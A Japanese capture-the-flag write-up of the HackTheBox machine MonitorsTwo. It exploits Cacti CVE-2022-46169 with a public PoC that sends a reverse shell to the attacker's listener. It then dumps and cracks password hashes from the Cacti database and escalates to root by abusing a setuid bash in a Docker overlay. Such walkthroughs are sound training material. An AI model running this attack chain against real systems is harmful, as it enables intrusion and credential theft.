HackTheBox MonitorsTwo WriteUp

今回の記事はHackTheBoxのEasyマシン「MonitorsTwo」のWriteUpです！
名前からすると環境が2つあるような感じがしますが、コンテナが使用されていたりするのでしょうか。
攻略目指して頑張ります！！
![MonitorsTwo.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/76f02176-1899-a0c5-6d40-573bf0b62b85.png)
評価も高くグラフもいい感じにEasyっぽいですね。
最近はEasyとなっていても難しいマシンが多いのですが、今回はどうでしょうか。

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## MonitorsTwo

### 侵入

それでは攻略を開始しましょう。

・ポートスキャン
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.211 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
|_http-title: Login to Cacti
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
```
22番と80番を確認しました。

・Web探索
80番を確認しているので、いつも通りにアクセスしていきます。
![TopPage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f42b65ab-859e-25ce-7f91-6bb3613c7d0c.png)
ログイン画面が表示されました。

### CVE-2022-46169

さらにログイン画面には、Cacti Groupのバージョンが表示されています。
脆弱性が存在しないかGoogleで調べてみると、興味深い記事を発見しました。

https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/

記事によると、Cactiのバージョン1.2.22以下はコマンドインジェクションに対して脆弱であるようです。
実際にPoCもgithubに公開されているので、それを使用して発火するか試してみましょう。
使用させていただくPoCも載せておきます。

https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22

cloneしてローカルにダウンロードしておきましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22.git 
Cloning into 'CVE-2022-46169-CACTI-1.2.22'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 15 (delta 3), reused 5 (delta 1), pack-reused 0
Receiving objects: 100% (15/15), 4.42 KiB | 348.00 KiB/s, done.
Resolving deltas: 100% (3/3), done.
```

## www-dataとしてのシェル
ダウンロードも完了したので、実行していきます。
先に、Kaliで待ち受けておきます。
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ nc -lvnp 4321  
listening on [any] 4321 ...
```
待ち受けが完了したので、PoCに従って実行します。
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo/CVE-2022-46169-CACTI-1.2.22]
└─$ python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.3 --LPORT=4321
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!
```
Success!!と出力されたのでうまく実行できていそうです。
シェルが返ってきているか見てみると
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ nc -lvnp 4321  
listening on [any] 4321 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.211] 53446
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ whoami
whoami
www-data
```
返ってきていますね！
第一段階はクリアです！

### 横移動
まずはユーザを確認するために、homeディレクトリを見てみます。
```bash
www-data@50bca5e748b0:/home$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Mar 22 13:21 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..
```
ユーザが確認できません。
www-data@の横の数字からも予想がつきますが、どうやらコンテナの中に侵入したようです。
コンテナ内を調べるために、権限昇格しておきましょう。
```bash
www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# whoami
root
```
権限昇格できました。
気を取り直して、htmlディレクトリを見てみましょう。
```bash
root@50bca5e748b0:/var/www/html# ls -l
total 2764
-rw-rw-r-- 1 www-data www-data 254887 Aug 14  2022 CHANGELOG
-rw-rw-r-- 1 www-data www-data  15171 Aug 14  2022 LICENSE
-rw-rw-r-- 1 www-data www-data  11318 Aug 14  2022 README.md
-rw-rw-r-- 1 www-data www-data   4341 Aug 14  2022 about.php
-rw-rw-r-- 1 www-data www-data  63112 Aug 14  2022 aggregate_graphs.php
-rw-rw-r-- 1 www-data www-data  18586 Aug 14  2022 aggregate_items.php
-rw-rw-r-- 1 www-data www-data  25705 Aug 14  2022 aggregate_templates.php
-rw-rw-r-- 1 www-data www-data  14677 Aug 14  2022 auth_changepassword.php
-rw-rw-r-- 1 www-data www-data  15221 Aug 14  2022 auth_login.php
-rw-rw-r-- 1 www-data www-data  19044 Aug 14  2022 auth_profile.php
-rw-rw-r-- 1 www-data www-data  24203 Aug 14  2022 automation_devices.php
-rw-rw-r-- 1 www-data www-data  36742 Aug 14  2022 automation_graph_rules.php
-rw-rw-r-- 1 www-data www-data  42897 Aug 14  2022 automation_networks.php
-rw-rw-r-- 1 www-data www-data  31517 Aug 14  2022 automation_snmp.php
-rw-rw-r-- 1 www-data www-data  18773 Aug 14  2022 automation_templates.php
-rw-rw-r-- 1 www-data www-data  38723 Aug 14  2022 automation_tree_rules.php
・・・
```
かなりのファイルを確認しました。
これを全てチェックするのは正直骨が折れます。
他に権限移動につながりそうなものを調査してみましょう。
### mysql
1番に思いつくのは、データベースです。
アクセスできるか試してみましょう。
```bash
root@50bca5e748b0:/var/www/html# mysql --host=db --user=root --password=root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 5.7.40 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```
ホストを「db」とすることでMariaDBにアクセスできました！
ユーザの認証情報がないかみてましょう。
まずはデータベースを指定します。
```bash
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cacti              |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.001 sec)

MySQL [(none)]> use cacti
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [cacti]>
```
次に、テーブルを検索します。
```bash
MySQL [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
| aggregate_graph_templates           |
| aggregate_graph_templates_graph     |
| aggregate_graph_templates_item      |
　　・・・
| snmpagent_notifications_log         |
| user_auth                           |
| user_auth_cache                     |
　　・・・
| vdef                                |
| vdef_items                          |
| version                             |
+-------------------------------------+
111 rows in set (0.001 sec)
```
大量のテーブルがありますが、その中でも「user_auth」テーブルが特に怪しいですね。
SQLを実行し、テーブルの内容を出力します。
```bash
MySQL [cacti]> select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password                                                     | realm | full_name      | email_address          | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
|  1 | admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |     0 | Jamie Thompson | admin@monitorstwo.htb  |                      | on              | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |   663348655 |
|  3 | guest    | 43e9a4ab75570f5b                                             |     0 | Guest Account  |                        | on                   | on              | on        | on        | on           | 3              |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |           0 |
|  4 | marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |     0 | Marcus Brune   | marcus@monitorstwo.htb |                      |                 | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  | on     |               0 |        0 |  2135691668 |
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.001 sec)
```
予想通り！ハッシュ化されていますが、パスワードを確認しました。
adminとmarcusの2つのパスワードがハッシュ化されていますね。
解読できるか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt marcus.txt                                                             1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey      (?)     
1g 0:00:01:38 DONE (2023-05-08 22:01) 0.01012g/s 86.37p/s 86.37c/s 86.37C/s lilpimp..coucou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
adminは解読できませんでしたが、marcusのパスワードを解読することができました！

## marcusとしてのシェル

では、解読したパスワードがSSHで使えるか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ ssh marcus@10.10.11.211   
Warning: Permanently added '10.10.11.211' (ECDSA) to the list of known hosts.
marcus@10.10.11.211s password:

marcus@monitorstwo:~$ whoami
marcus
```
SSHによるログインが成功しました！
```bash
marcus@monitorstwo:~$ ls -l
total 4
-rw-r----- 1 root marcus 33 May  8 12:13 user.txt
```
フラグも取得できました！

### 権限昇格

それでは、最後に権限昇格を狙っていきましょう。
今回はコンテナを使用して権限昇格していきます。
まずは、bashにsetuidを設定していきます。
```bash
root@50bca5e748b0:/var/www/html# chmod u+s /bin/bash
root@50bca5e748b0:/var/www/html# ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
```
setuidが設定できたので、次にDockerfileを探します。
```bash
marcus@monitorstwo:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           394M  1.3M  392M   1% /run
/dev/sda2       6.8G  4.3G  2.4G  64% /
tmpfs           2.0G     0  2.0G   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
overlay         6.8G  4.3G  2.4G  64% /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
shm              64M     0   64M   0% /var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
overlay         6.8G  4.3G  2.4G  64% /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
shm              64M     0   64M   0% /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
tmpfs           394M     0  394M   0% /run/user/1000
```
overlayを発見しました。
実際にパスをたどり、bashを見てみましょう。
```bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ls -la
total 5608
drwxr-xr-x 1 root root    4096 Mar 22 13:21 .
drwxr-xr-x 1 root root    4096 Mar 21 10:49 ..
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 bash
```
bashにsetuidが設定されているのがわかります。

## rootとしてのシェル

ここまできたらあとは権限昇格するだけです。
```bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ./bash -p
bash-5.1# whoami
root
```
権限昇格成功です！
```
bash-5.1# ls -l
total 8
drwxr-xr-x 2 root root 4096 Mar 22 13:21 cacti
-rw-r----- 1 root root   33 May  8 12:13 root.txt
```
フラグも取得できました！攻略完了です！

### 攻略を終えて

今回のマシンはPoCがそのまま使用出来たり、データベースにrootでアクセスすることが出来たりとEasyらしいマシンだったのではないでしょうか。コンテナの権限昇格について経験が無かった人は権限昇格で少し躓くことがあったかもしれませんが、知られているやり方ではあるのでそこまで時間はかからないのではないかと思います。
初期侵入の足場としては、既存の脆弱性が放置されていたことが原因となっているので、確実にアップデートなどの対処をしていく必要があります。また、最近はコンテナやAWSのような技術を使用したマシンも出てきているので、クラウドやコンテナの知識もしっかりと取り入れることが大切ですね。
次回以降のマシン攻略も頑張ります！
最後まで閲覧していただき、ありがとうございました！